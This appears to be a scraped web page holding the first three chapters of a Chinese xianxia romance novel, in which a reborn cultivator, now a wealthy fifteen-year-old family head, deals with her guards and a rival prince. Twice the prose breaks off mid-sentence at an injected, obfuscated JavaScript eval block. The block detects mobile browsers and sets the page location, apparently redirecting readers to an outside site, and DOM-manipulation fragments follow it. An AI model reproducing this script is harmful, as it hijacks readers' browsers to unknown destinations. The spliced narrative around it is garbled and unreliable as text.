《绑定亡妻系统后她成了全修真界的白月光》 1. 第 1 章 第1章 沈盈息恢复意识的时候,正有一双温热宽厚的手掌扶上她的双肩。 她被肩上的温度惊得顿了下,这久违的活人温度,自她身毁道消后,已有四五百年不曾感受过了。 沈盈息一时间没有躲开那双手。 那双手的主人见她一动不动,隐约间似乎也顿了下,但很快恢复过来,而后一手扶住她肩,一手穿过她腿弯,把她打横抱起。 沈盈息随之陷入一个温暖结实的怀抱中,也听到了从她头顶上方传来的沉稳磁性的男声。 “家主已醉,恕不久留。” 周围响起了几声笑,有男有女,都是那种好似善意实则讽意暗藏的笑。 人群中有道分外清楚的少年音道:“来之前说什么千杯不醉,设局挑衅,如今十杯都不曾走过,就已醉得不省人事,真是……丢人现眼呐。” 其他人都附和着这少年,碎语几番,笑声不断。 沈盈息眼皮微动,睁开条缝,视线模糊地打量着四周,尤其去寻出声的少年。 横抱她的男人未发觉她已醒来,沉着声回那少年,沈盈息能感受到男人说话时胸膛的起伏。 “家主尽兴即可,此局筹码不过是百两金,诸位想必明白,家主并不在意这些顽闹似的输赢。” 说罢,也不看面前几个锦衣少年逐渐难看的脸色,抱着人便要转身离去。 “等等。” 最初那道少年音再次响起,已是带着冷意,“爷让你走了吗?” 话音一落,周遭瞬时安静了下来,冰冷的杀意无声无息地包围住了楼梯口的男人。 沈盈息神识一开,发现房中暗处正藏着几个黑衣人,这杀意正出自这群人身上,而他们已随着少年的起身蓄势待发了。 沈盈息思量一秒,觉着再这么僵持下去,说不准这些人就冲上来了。 还需她正面对峙才好。 下决定的同时,沈盈息让系统把她凡间的记忆传进识海。 过一遍凡人记忆,对沈盈息这种曾做过无情道魁首的修士而言,再简单不过。 几息而已,她已消化好作为凡人的自己这十五年的记忆。 “不走,不走……继续喝……” 明白当前状况后,沈盈息假借酒劲,缓缓睁眼。 在她出声的刹那,抱着她的男人浑身明显一僵。 抱持在她肩膀和腰间的大手僵硬地扣在她身上。 沈盈息没在意这点变化。 抬头迷蒙着眼,手掌按住男人小臂借力撑起头,对上男人垂下的眼睛,扯唇一笑:“阿仓啊,你什么时候来的?” 说着,真的像个醉鬼似地不满束缚,挣扎要下地,被男人下意识扣进怀中时仍挣了挣。 唤阿仓的青年忽而被怀中的挣动唤醒般,俊冷面庞绷紧,看着有些不近人情。 不过脸色冷,动作倒与之相反地细致。 意识到怀中人离开的目的,他先松开大手把少女小心放落地面,又后退了一步和她保持着距离。 沈盈息意识是清醒的,身子却着实被酒意麻痹住了。 她被阿仓放下了地也站不稳,摇晃几下,险些是抓住了什么东西才稳住了身形。 她站稳后方有余力去瞧屋内的其他人,却发现其余人都讥诮地望着自己。 沈盈息眨了眨眼。 “家主,您……我扶着您。”身后阿仓的嗓音有些低。 沈盈息转身,方知那群人讥诮的缘由。 她情急之下抓住的不是旁物,正是她亲卫阿仓的腰封。 阿仓身形高大,被她扯弄也保持着笔直姿势,只不过目光半垂,十分有礼克制地将她的手从腰间拿走。 而后顿了下,又伸出手,握住她的手腕,支撑她的平衡。 “呵,沈家主今日真是叫人大开眼界。” 被簇拥在中间的少年望着被人扶持的少女,骤然开口,含讥带讽地对她冷笑。 “?” 沈盈息这时已认得少年是谁了。 二人往日便是吵闹不休互相厌憎的关系,她便也顺应往昔作风,毫不客气地刺了回去。 “季九,你真无聊,缺这百两金就早说,稀得哄骗我输一遭。” 说罢,见少年已脸色已难看得紧,沈盈息伸出一根手指,用力地戳了戳季九的脸颊:“季世子不说话?被我说中心思了。” 就在沈盈息的手指伸出的那瞬间,角落暗卫已抽出寒刀,随时准备断指护主了,只等少年命令而已。 但少年脸色再冷,也始终没有下令,暗卫们只好一直保持着出刃的动作。 “沈盈息,你大胆!” 季九的冷斥突然被少女用手掌堵住。 季九一顿,冰冷的眼神在自己嘴上的手掌瞥了一圈,下一瞬抬起眼皮,一双工整如画的丹凤眼便十分气势威严地盯向少女。 沈盈息对上少年高高在上的眸光,一哼,“说话难听就闭紧嘴,世子爷这点儿自知之明也没有嘛。” 季九不是听话的主儿,更何况现下要他听话的是一直以来的死对头。 他冷笑一声,眼尾划过一丝锐利,而后红唇一张,狠狠咬上了沈盈息的上掌沿。 他有双虎牙,单用左侧的尖牙,施足了力气,便足够在少女柔嫩的掌口磕下一粒血珠来。 得逞了,察觉到嘴中软肉因主人吃痛而极速要扯,季世子方得胜般扬了扬眉。 慢悠悠地松开嘴,他好整以暇垂眸,准备欣赏死对头难受的的神情。 不妨“啪”的一声脆响,脸颊一阵痛辣,季九后知后觉脸上被对方抢回手掌时趁乱掀了一巴掌。 锦衣玉袍的少年郎当时顿在原地,耳边听得少女叫痛喊疼的娇斥声,“啊季狗你真是狗哇,发什么疯咬人啊!” 怔了一会儿,季九回神一般,玉琢般漂亮纤细的手指慢慢抚上脸颊,从指腹间细细感受着脸上的热与痛。 “世子!”“殿下您没事吧!” 周遭看戏的少年们见季九被打,俱悚然上前。 他们一方面惊愕于沈盈息的胆大包天连世子都敢打,一方面又恐惧于季九会恼羞成怒,治他们一个陪侍不当之罪。 有个锦衣少年情急,意欲冲上去也给沈盈息一巴掌,但季九冷眼一瞥,众人便又战战兢兢地退回原地了。 “家主您流血了,先回府吧。” 阿仓见沈盈息受伤,眸光不由深了几分。 警惕的目光缓缓扫过被季九屏退的众少年,被扫中的少年们不知为何俱是颈后一凉,宛若被毒虫蛰了一口似的。 阿仓着重在方才那冲上前意欲打人的少年脸上看了一眼。 众目睽睽,家主醉得不清,他还是先把家主安全护送回府,再慢条斯理地处理这些人。 当下,阿仓不再犹豫,再次横抱起沈盈息。 少女憋着气,因被咬而自觉丢面,气得不行。 她从阿仓怀里伸出头,张嘴就要骂季九。 但尚未张口已被阿仓及时发现,高大近卫缓慢地抽出一手,沈盈息立刻发觉被抱住的身子有倾斜的趋势,当即惊慌,伸出双臂不由分说搂紧了阿仓的脖子。 “阿仓! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251988|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈盈息受了惊,迅速找到让她受惊的罪魁祸首,惊怒地弹起头,转而骂阿仓:“你敢让我掉地上颜面扫地的话,我就把你和阿廪赶出沈府,都赶出去,让你们继续当乞丐!” 阿仓恭恭敬敬地领受主人家的骂,俊美坚硬的脸庞没有一丝一毫怨气。 他恭顺沉默着,好似只忠诚可靠的家犬,护卫着主人,用高大的身躯挡住了身后来自季九危险的打量。 那目光太具存在感,冰冷危险,像只蛇似的盯在少女脸上,阿仓感知敏锐,便不动声色地托紧了少女,让其温软的身子更深地嵌入自己怀中。 “我们先回府,让医师先瞧您的手,家主。” 渐渐的,沈盈息骂累了,气喘微微地躺倒在近卫怀中,脸颊软肉贴在男人的胸前,也就不动了。 近卫抬腿往楼下走时,沈盈息方轻轻哼声道:“……阿仓,饿了,那酒好难喝。” 阿仓闻言,低低地应了声:“淮香楼的烤鸭一直在府中备着,您回去醒了酒便可用些。” “嗯。”少女的气性永远对外人发作得没完没了,对自家人,她气了一会儿给人安抚住,也就无所谓了。 发了通酒疯,走完过场疲乏得很,沈盈息把脸朝阿仓胸前埋了埋,声音被挺实的衣物挡着,闷闷的:“快些回去吧,外面吵死了。” 阿仓深沉利眸微软:“马车早在楼外候着,过会儿进去就安静了。” 沈盈息唔了下,坐马车有什么意思? 她还挺想感受感受凡人们的内力,于是拒绝了阿仓抱她上马车的动作,“我今天不想坐车,你用轻功,抱着我飞回去。” 阿仓动作微滞,“于理不合,属下如何能这般冒犯您。” 于什么理不合,听主人话才是正理。 沈盈息不吭声,暗下用手指死劲地捏着男人胸前的肉,这人浑身上下都是肌肉,就这儿还软和点能供她欺负。 记忆中她一不高兴就会这样掐他,长此以往,阿仓便晓得这个特定动作的含义。 知会得很快,他哑了嗓子,应是被她掐疼了,嗓音虽低哑得有些异样,但没叫沈盈息发现。 阿仓匆匆将人抱紧,“家主您抓紧属下。” 沈盈息当然抓紧了,她两手紧紧搂着男人脖颈,柔软臂肉欺压着男人青筋绷起的长颈。 被内力带起来的那刹那因为好奇兴奋而张嘴,唇中温软气息全随着惊呼扑进阿仓衣襟里,烫得对方薄唇紧抿。 “诶?这轻功也不慢嘛!” 和修真界以灵力注入法器飞天遁地的感觉不同,凡人以内力为本,虽然飞的没有修士高,但也能瞬息千步,提腿上瓦房,穿梭间当如飞腾一般。 二人眨眼间不见。 酒楼之上,季九推开窗,目睹楼下主仆二人言语一番后的离去。 皮相顶尊贵漂亮的少年冷着脸,冷风拂过颊边未消的痛意,强硬地带少年回味起沈盈息的一巴掌。 那孽障从来大胆肆意,仗着富可敌国的豪资在京中玩乐无忌,如今都敢打起他了。 各种带着血腥味的报复手段在眼前浮浮沉沉,晚间月一照,冷风再吹,血气模糊的计划倏然间全被另一光景给代替了。 少女柔嫩雪白的手指如月光似地,欺临到眼前,风儿飘忽一阵,一种幽淡特殊的馨香忽而势若破竹地穿过满街酒香俗味,带着少女手掌的温度蛮横地罩住了少年的口鼻。 季九鸦睫一颤,把着窗沿的手指根根扣紧,绷起手背上青玉般的筋脉。 孽障。 他的眼前清晰地浮现出少女醉意但盛怒的娇贵面庞。 2. 第 2 章 第2章 凡人的轻功也挺快。 没用半刻钟就从城西到了城东尾的沈府,落地后的沈盈息两手搭在阿仓胸前,开始认真思考她习武的可能性。 修士不准在凡间使用灵力,有身内力倒方便了。 “家主。” 低沉的男声将沈盈息从思绪中拉出,她抬头,碰撞上前方夜幕中台阶下,一劲装男人的视线。 这就是她另外一个近卫,阿廪了。 他和阿仓身形相似,高大、英挺、练武练出的一身坚实有力的肌肉被暗色近卫服包裹着,一丝不苟,神色冷峻。 但阿廪还有一双漂亮的桃花眼,平白比冷硬的阿仓多出一分暖意。 沈盈息拍了拍阿仓的胸口,示意他放自己下来。 阿仓被她拍了下,眼睫半垂,不动声色地把少女从怀中放下。 沈盈息落了地,便不再看阿仓。 根据她的记忆,这两个近卫之中,她向来是更亲近阿廪些的。 她照着寻常的样子,见到阿廪便奔过去,完全把阿仓忘了似地:“阿廪,我好累,给我备好热水了吗?我今晚要换个话本听。” “对了阿廪,兄长在淮东已有半年了,何时才回来……?” 沈盈息完全将阿廪当做管家,事实上阿廪除了是沈盈息的近卫外,也确实是整个沈府的大管家。 他耐心温和地回答了沈盈息一个又一个问题,低垂着纤长的眼睫专注地望着少女,将她面上的表情拆解后又解读:“家主今日在外玩得不开心吗?” 虽然少女本人都快忘却了酒楼输酒的事情,但阿廪就是能在她现时的面目表情里,寻找到她刚才自己都快忽略了的情绪。 沈盈息神乎其技。 她纳下对阿廪本领的惊奇,转而诚实地点头,本已沉没的气愤经阿廪一提醒,倏然间全冒出来了:“还不是季狗,算计我!哄我喝酒!我本来就不爱喝酒,现在输了,又丢了次脸!” 沈盈息现时是天下首富沈家的家主。 她虽没有经商天赋,家中商务也都由她嫡亲的兄长在打理着,但她是有实权的。 府中银钱尽她支取,她好玩乐,入京没多久,就能混进季世子这样天潢贵胄的圈子,很大部分原因是她钱实在太多。 对于她这位纨绔家主,同时也只是个才十五岁的少女而言,面子的确比任何宝物都重要。 故而她很生气季九故意让她输,且还咬伤她的事实。 “又是季世子么。”阿廪伸出白皙宽大的手掌,理了理沈盈息鬓边因气愤而微微炸乱的碎发,嗓音低缓,自带一股安抚人心的动听。 望着少女抱怨中不断张合的红唇,阿廪管家温柔地颔首,站在主人家的角度,肯定着她的立场:“季世子性子恶劣,的确该被打磨一番。” 话间,阿廪收回给沈盈息收拾碎发的手,冰凉的指背不经意擦过她细嫩侧脸:“家主将郁气发作一通,可是觉得舒畅了?” 沈盈息方才将季九又是比作狗又是比作王八,骂了一段时间后住了嘴,听阿廪的问,犹豫思索一番,慢慢点头:“……好像是不怎么气了。” 阿廪眸子弯了弯,“屋里烤鸭尚热,家主手伤了,属下喂您用些,用些再沐浴罢。” 这就是阿廪比阿仓讨喜的地方。 阿仓武功虽高,但为人冷硬肃正,变通能力远没有阿廪来得强。 阿廪只对旁人冷肃,但在沈盈息面前永远弯着桃花眸,将她的心情好坏视作一等要事。 在沈盈息七岁时把阿廪捡回家的那一刻起,那个十二岁的少年就开始修炼出一身让她舒心的本领。 从不让她带着坏心情过夜便是之一。 阿廪曾说:“郁怒伤身,谁都不值得家主藏怒过夜。” 这么多年来,沈盈息金堆玉养,又有个解语花阿廪,底气足,被爱重,所以从来行事无忌,打心底没认为过发脾气是坏行为。 “啊还是阿廪好,”沈盈息真切地感叹一句,“你总有法子让我开心的。” 得到夸奖,阿廪微微一笑,“家主受用便是属下的荣幸。” 说着,阿廪的拇指不动声色地抚过残留着少女温度的指背,侧过身:“外间风大,家主先进府吧。” 沈盈息嗯了声,迈开脚踏入府门的前一刻,忽而想到什么一样,扭过头。 两个近卫几乎同时看向她。 沈盈息顿了两秒,本是想叫阿廪的,但余光瞥见笔直站在府外的阿仓,突然意识到他从放下她后就没说过一句话,就那么呆呆地站在原地。 ……不是在等着她吧? 依稀不记得他们主仆间关系这样严苛啊,只有等到主人允许离开的命令才能离开这样。 不过阿仓确实是被忽视太久了,沈盈息试探着喊了声阿仓,对方完全没有时间间隔地,压着她的尾音迅速回应道:“家主有何吩咐?” “……你累了吗?”沈盈息喊了人,却发现和对方并无什么话题,沉默了下,聊天的兴致顿时消失,于是并不用心地问候了句。 天色昏暗,沈盈息这双凡人眼睛并看不太清阶下人的神情,只能从对方的回复中察觉二分。 “属下并不疲乏。” 近卫的回答一如既往地沉闷。 沈盈息彻底没了兴趣。 “没关系,你还是先回去休息休息吧,”沈盈息只当阿仓老实木讷,累也说不累,她体谅地放他走,“我那儿有阿廪在就行。” 说罢,自觉完成了一桩任务的沈盈息转头看向阿廪。 她目光转移得太快,倏忽间好像看见一向温和微笑的管家露出异样的……阴沉脸色? 但等她细瞧,却发现男人根本还是在微笑着。 “怎么了家主,如何这般盯着属下?” 阿廪好似没发觉沈盈息的疑惑,走上前,扶住沈盈息小臂,垂头和沈盈息怀疑的目光对视,薄唇一张,又是熟悉的温柔关切。 不对劲。 沈盈息直觉不对劲。 但天色实是昏暗,她辨不清自己是不是看错了。 没有确切看见,沈盈息便不刻意询问,摇了摇头,说句没什么,走进府门。 在她身后的阿廪没有先跟上去,而是回身用晦暗不明的眸光扫过阶下仍站着未动的阿仓。 阿仓如有所觉,将眼神从少女背影移开,对上阿廪。 两个高大英朗的男人彼此对视一眼,俄而毫无情绪地移开。 阿仓等沈盈息离开才转身,他的近卫房需要走侧门。 阿廪对着阿仓的背影冷冷一笑,脸色阴沉。 但过不一会儿,发觉他没有跟上的沈盈息在前端唤了声阿廪,管家阴沉神情忽而大放光彩,焕发出无尽温柔小意。 他跟着转过身子,撩开长腿轻松跟上了少女。 很快到了沈盈息的院子,烤鸭早已片成片去了骨,香喷喷地放在院中桌子上。 暮春时节,院中花树开得盛,云云绕绕的一树花,远望去十分热闹。 这是沈盈息做游魂时不曾体会到的鲜活热闹。 她心情很好地奔过去,鲜红的裙角随风飘动,整个人也似娇嫩花瓣似地入画了。 阿廪就在她身后温和注视着,目光一刻不曾从少女身上转移过。 他一身黑衣,除了脸上的笑有点活人气,整个人其实很暮气,被院中红的绿的一比,更显得死气沉沉。 这是一种很让人皱眉烦憎的沉闷气息,府中除了沈盈息,没人愿意靠近大管家阿廪。 除了沈盈息。 他们的家主把管家身上的暮气当做沉稳,把他妖孽般让人恐惧的揣度人心的能力当做体贴。 为着阿廪的沉稳和体贴,少女家主遥遥举起一只鸭腿,对她的管家笑道:“呆愣着作甚呢阿廪,快些过来,我给你留了只腿!” 阿廪一怔,而后抿唇笑了,冷白的面庞从暗处到明处,他踏进那花红柳绿的一团景里:“家主手上还有伤,莫要再动,属下先给您处理,对了家主,今夜想听什么样的话本?换成志怪如何?” “……” 一墙之隔,是近卫房。 另一个青黑劲装的近卫背靠冷墙,抱臂单腿支在墙面上。 内力甚好的他能将墙外的声音收听得十分清晰,不过他没有立场加入,只能低头靠在阴暗的墙角,收紧箭袖中的手掌。 这双手不久前方握过少女的肩和腰,彼时他生硬过度,不敢感受。 如今那些不敢体会的温软细腻全部回归掌心,阿仓捏住拳头,似抓取又似留存着什么,但最终一言不发,低着头等院落里的声音渐熄。 用完烤鸭,阿廪抱了寝衣,为沈盈息卸下外裳,并试了试浴桶里的水,温度正好后,他抚着臂上换下的外裳,对沈盈息道:“家主,属下候在门外。” 沈盈息摆手,示意他自便。 门扉关阖声轻轻响起,沈盈息泡进热水中,神情陡然换了一通。 “系统,你在吗?” “在在!”,识海蹦出一道清脆童声,“仙君仙君,您刚才演的真好!” 童声稚嫩,不辨男女,但很软糯动听。 沈盈息目光也跟着软了下来,她将神识探入识海,看着识海里蹦蹦跳跳的白毛狼崽,分出一缕神识捋了捋狼崽头顶的白毛:“多谢。你的记忆传送得很及时。” 系统被摸了下,圆溜溜的黑眼珠乍然亮起,是它感到舒服的表现。 仰起头,系统用自己的灵识体蹭了蹭沈盈息的神识,狼崽喉咙里便跟着发出细小的呼噜声:“本来还担心无情道的修士都古板冷情,扮不好这种活泼的凡人呢,原来仙君不止有修炼天赋,其他方面也是翘楚呀。” 沈盈息笑笑,许是太久不曾和人交流,她并不觉着系统聒噪。 这位最初为救赎系统后又更名为亡妻系统的灵物,是她死了四五百年后的唯一一次机缘。 当初她作为修真界无情道魁首陨落于飞升劫雷下,身死道消,魂魄却未散去。 本准备重新修炼肉/身再启道途,谁知天道阻拦,冥冥中道她有另外机缘,叫她等。 这一等,沈盈息等了三百多年。 三百多年里,她无事可做,与人与鬼与精怪动植物都试着交流过,均告失败。 死后第四百九十二年,沈盈息终于等到了她的机缘。 “仙君您好,我是救赎系统527。我受天道所托,特来为你打开机缘,只要您照我说的做,完成救赎任务,便可重获肉/身,再修大道!” 说着说着,尚无灵识体的系统语气愈发激动,饱含热血奋发之意。 沈盈息没有被它奋斗的语态感染到,她只问:“救谁?怎么救呢?” 救人对他们修士而言是大功德,但那是对活着的修士而言。 她连让人看见她都做不到,怎么救人呢? “哎呀,不是救命啦!”小系统笑嘻嘻地纠正她,“是救一救他们岌岌可危的、阴暗到随时可能会碎掉的的心哟——” 救心? 心也能救一救? 沈盈息睁着眼,盯着系统,等它继续解释。 系统似乎也很少和人说这么多话,更别提被人这般需求着了,它特别高兴和满意这次的宿主。 因为她看起来是这么需要它! “咳,简单来说就是让他们感受到爱,爱你懂吗?” 只有一团白光的系统在游魂身边绕着圈,强调:“这群心黑大魔头就是因为不懂爱,也没人爱,自觉人生无望,所以才弃道重修,个个要去修无情道,个个要逆天道,欸无情道你知道吗?就是当今修真界被誉为最逆天而行的大道,修无情者万不存一,看天赋看存款还特看脸的一个道!” 听到熟悉的字眼,沈盈息眼神微动,“他们?谁?弃道重修不易……” “诶呀!”系统一声惊呼,像是突然想起重点,“还没给你看任务对象呢!” 说罢,白光一闪,沈盈息眼前徐徐展开了一幅卷轴。 卷轴中央是数位人物,各个面容不俗神情冰寒。 沈盈息对这种冷冰冰的表情再熟悉不过。 ——修无情道修的。 既是同道,沈盈息不由多看了几眼。 正当此时,系统对她说:“你的任务呢,就是到他们心还没黑得彻底之前,去爱他们,让他们放弃日后弃本道转修无情的念头。” “……”沈盈息这时已发觉了异处,她还没张口说,那系统又哭唧唧上了。 “哎呀苦啊命苦啊,你说人天道好好的,没招谁没惹谁,就搁天上等着飞升修士呢,这群无情道的疯子上来就一剑,砍的咱小天道一愣一愣伤痕累累的,你说可怜不可怜,啊?” 沈盈息张唇,跟着轻轻地啊了一声。 在她之后居然真的有人无情道大成去见天道了吗? 前无情道魁首一愣。 沈盈息有些走神,看来她还是修炼不到位啊。 系统似乎看出她走神,大叫一声:“这群逆子!无情无义的疯子,他们也不想想砍了天道,天道若死,此界有何运数可言,那群没飞升的修士怎么办,修其他道的修士们怎么办!” “所以——” 系统郑重其事,白光团子猛地贴上沈盈息的脸,她都能感受到这□□统发声时细微的气流波动:“你得救救天道,它才一万多岁,它还是个孩子啊——!” 沈盈息哑然,她看向系统,距离过近她看得难受,索性放空眼神,但语气十分诚恳地道:“可是,我也修无情道啊,正是阁下口中无情无义的无情道疯子之一来着。” 系统:“啊?” 沈盈息:“不才正是四百多年前无情道魁首沈盈息。” 系统:“啊???” 天道也没说啊!! 系统沉默了。 然后它消失了。 事情究竟是怎么发展到如今田地的,沈盈息也有些恍惚。 依稀记得系统咻地一下上天了,过了一刻钟,又咻地冲到沈盈息面前:“没错,就是你,沈盈息!” 系统肯定地弹动着白光团,“没认错宿主!你就是我的宿主!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251989|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它恶狠狠地肯定了她的身份,而后语调一低,忽而凄迷:“合同升级,这样吧,你跟我续约,代表修真界去给疯子们开个情窍,我就……” 沈盈息打断它:“续、约?” 系统顿时嘿嘿:“嘿嘿,刚才见你第一面我就悄默地绑定你了,现在任务有变,原合同作废,新合同续约。” 所谓的新合同—— 系统趁沈盈息没有更多问话问得它心虚之前,大作变态,白光团子上下左右剧烈晃动一阵,而后又是一阵耀眼白光,新系统缓缓降临到沈盈息面前。 “呐,我不是救赎系统了,我现在是亡妻系统!” “这就是我们的新合同,你好,亡妻系统宿主沈盈息,我是亡妻系统。” 沈盈息:“……” 沈盈息叹为观止一下算了。 紧接着亡妻系统就倒豆子一般说出它和天道商议过后的,能对沈盈息说的真相。 “天道它生下来就没妈了,它十分渴望妈妈,于是当妈心切,日日期盼!可是一万多年过去了还没个修士飞升,它实在是迫不得已才违背规则扩招了无情道名额,别的道修士都没无情道猛,你这个前第一知道的奥?” 沈盈息点点头。 系统也点,点着身子:“这趟活咱必须给拉了,天道说事成后给我两分天道本源力量,让我去宇宙旅游,包我活着回来的。你要是答应跟我一起做任务,我就给你这两分里的三个点……不,十个点的利润!” 怕沈盈息这个老古板修士不懂十个点天道力量的份量,系统简单粗暴地往她脑子里塞了《现代金融概论》《天道的意义》《天道从何而来》《宇宙中的大千世界》等著作。 “所以,事成之后我不仅可以飞升,还可以踏碎虚空前往其他小世界游玩,甚至能拥有无限能在任何世界花费的货币?” 沈盈息接受新知识良好,反问道。 “不愧是第一名,脑子就是灵!”系统笑嘻嘻,“修无情道的本来就要砸大钱,你生前存款可怜,死后当了四百多年鬼,更是个实实在在的穷鬼,光是后面无限货币的利润,都够你重修八百次嘿嘿。” 系统说的对。 沈盈息是个穷鬼,生前死后都是。 她很难拒绝。 更况且这四百九十二年,她不能修炼,不能说话,没有东西看得见她,她自己也丧失五感,人已经快被这段空白的年月给塞成一段空白了。 任务是可以做的,思绪是完全没有的。 沈盈息望着兴奋的系统,开口:“我还剩最后一个问题。” “嘿嘿仙君说您说。” “无情道,如何爱无情道?” 系统一呆,但它还是尽忠职守地纠正道:“不是让你爱他们,这叫攻略,是攻心策略他们的意思,你,哎呀,就是你,你不会攻略人,这真是……对了,天道说可以逆转时空,让我们回到无情道扩招前一百年,那时候疯子们还没入道呢!你先去攻略他们,晾这群没见识的死无情道疯子也挡不住你这个大美女的魅力,哼哼。” “好,那么问题是,无情道如何攻略无情道?”沈盈息作为前无情道疯子一员,不得不虚心请教。 “这这这——”系统虚空演示抓耳挠腮,它苦思冥想,终于从合同里找到核心方法:“奥对对,我们亡妻亡妻,当然是去给人当老婆啊,你不会攻略人,不会当人老婆啊?” “……当老婆?”沈盈息有些犹豫。 “给哪个人?”那卷轴上可不止一人。 系统找到核心方法宛若找到了主心骨,一下子冷静下来了,它冷静地紧紧贴上沈盈息的脸:“所有人。” ……? 沈盈息欲言又止。 系统及时阻止了她危险的想法:“不是同时当,是隔一段时间当啊!” 可她人就一个,下凡后又无分魂能力,便是隔一段时间,这一段时间又如何隔出来呢? 对此疑问,系统答得斩钉截铁:“好办啊,你死了,死了档期不就空出来了。” 当然,毕竟是相识不久,系统担忧沈盈息死过一次,对死有余悸,于是缓声安慰:“放心啦,假死的啦。你到时候就以假身份当上他们老婆嘛,跟他们恩爱一段时间,然后利落死遁回归真实身份,嘿嘿,包那群疯子疯的。” 沈盈息于是明白了:“当他们注定会死的老婆。” 系统大喜:“是,是!不愧是无情道第一名奥,好悟性啊好悟性,怪不得天道让无情道来攻略无情道,你肯定不会爱上他们让任务失败的!” 沈盈息垂眸:“我没当过人老婆,也没爱过人,不谈悟性。” 她漫长的近千年的时光里,前半生只有修道,后半生只有虚无。 活着的时候,身边人尽说她是无情道异类,不同于其余同道们的冰冷无情,多的是无谓的心软善心散发。 只有沈盈息知道,那些所谓的心软善心下,此心真正的漠然。 隐约中她悟出自己的道不在于视而不见真情,而是不以为然真情。 随手救人,不拒绝旁人接近,那是她悟出的道。 是用“心软善心”包裹着的漠空一切。 时至今日,她依然以自己的道为正确。 天道降下系统,正验证了她的道是正确的。 沈盈息飘荡了四百多年,想来想去,想到最后,想的还是,修成无情道。 “那便走吧。” …… 于是沈盈息到了凡间,成为了十五岁首富家家主。 据系统所说,这个凡人少女是天道用她的一丝魂力捏就的,相当于她分/身,是以样貌和她无二。 沈盈息当然稀奇。 任谁虚无了近五百年重获肉/身都会油然一股新奇感。 所以当系统要求她必须照着少女骄纵性子去做人老婆时,沈盈息并不反感。 她也需要重新学习如何做个活人。 小家主纵情肆意的活泼性子正是她能最大程度体验活人气息的好性子。 泡着馨香的热水,沈盈息仰头,十分专注沉浸地感受着水流、温热与芬芳。 “仙君宝宝呀,明天就去见我们的第一个任务对象咯,永安堂的大夫,那个以后弃医道修无情的家伙。” “嗯。”沈盈息懒洋洋应了声,嗓音是带着沙的软,“假身份是你来,还是让我自己想?” 系统正为自己喊出那声宝宝窃喜,沈盈息临头一问,它抬头嘻嘻:“仙君宝宝做主就好啦,等这个假身份要死遁的时候,天道会助我们,短暂地让药铺这家伙失忆的。” “好。” 沈盈息闭眼,过了会儿,又忽地问道:“怎么突然唤我宝宝呢?我的年岁实算起来可不小了。” 系统闻言,暗笑,爪子痒起来,他伸出带倒刺的舌头顺了顺毛,“仙君如今再生,又对万事万物都新奇得紧,我忽然间觉得这样叫很亲近,嘿嘿。” 宝宝,宝宝? 沈盈息眯眼也跟着笑,“好听,赏。” 识海里的狼崽子滚进广阔的神识里打滚。 3. 第 3 章 第3章 沈盈息方系好寝衣衣带,房外便响起阿廪的声音:“家主,医师送了伤药来。” 分秒不差的询问,好似是她身侧幽灵般能洞悉她的一举一动,然后及时给予紧密的回应。 能做到这种严丝合缝的服侍,不难想象管家在外间等候的那段时间,是如何地侧耳倾听里间的动静。 沈盈息犹疑一瞬。 阿廪单作为她的近卫,这般不余遗力地照顾倒能说得过去。 可他毕竟也是沈府的管家,难道没有其他事情忙吗? 她可在水里待了近一个时辰。 犹疑间,房外再次传来男人轻声的询问:“家主,属下现在可以进去吗?伤口不大,但还是上些药好。” “……你进来吧。” 还是当面问问吧。 凡人十五年的记忆在沈盈息那浩瀚的识海里实在不值一提,错漏些许细节在所难免。 从前这具身体没有多想过这层,或许这就是正常的,或许凡间主仆都是这般? 她应是不习惯,不习惯被人这般‘严加看管’。 阿廪单手端着药,另一只手推开门扉,他低眉进入,室内原先的热气早散得差不多了,现下屋内剩的还有凉润的水汽,夹杂着变冷的馨香。 主人用的热水是他亲自调好的,浴中鲜花是他亲自剪下的,净身的香也是他挨个试过的。 阿廪托着木盘,乌发黑眼似乎沾着屋外的夜色,又沉又黑的。 “家主。” 沈盈息看着阿廪走到面前,他很高,她才堪堪到他胸前,以往去碰他的眉都要踮着脚去碰。 不过她很少主动去碰阿廪,更遑论费力垫脚去碰。 这种状况只发生过一回,还是沈盈息弄得阿廪差些死了,对方濒死皱眉,她才屈尊揉了揉。 不过是怎么叫他快死了的? 沈盈息顿了下,想不起来。 一个近卫对她还是不太重要的,就算是讨她喜欢的阿廪。 所以她最终没有想,也根本没有去问的欲望。 “阿廪,近来府中有发生什么趣事吗?” 沈盈息坐下,倒了杯茶润了润道。 阿廪跟着将木托盘放到椅子旁的桌上,取过盘中药瓶,同时温声答:“府中人少,向来没什么趣事。不过待大少爷娶了妻,府中人多起来,大概日日有的趣瞧了。” “奥,也是奥,”沈盈息点头,沈府本家在淮东,那儿人多,而且很多时候有地方官进府带来各种奇闻轶事。 阿廪含笑,执住少女右手,“家主觉着这儿无趣的话,过几日大少爷回来,也可问问少爷有无心仪之人,添了人府中便热闹了。” 沈盈息低头看着阿廪握着她的手,他正用用丝帕包裹她的手指,慢慢地擦干净她指间水珠。 ——他擦的真是很慢,一根一根手指地擦,青年的骨节大,指腹有剑茧,隔着丝帕都挡不住的粗粝温热。 少女皮肤娇嫩,手指裹了片刻就泛起红,但不疼,沈盈息就没管阿廪过慢的动作,“哥哥说要等我嫁出去再娶妻的,我嫁出去前他不会成家的,怕委屈我。” 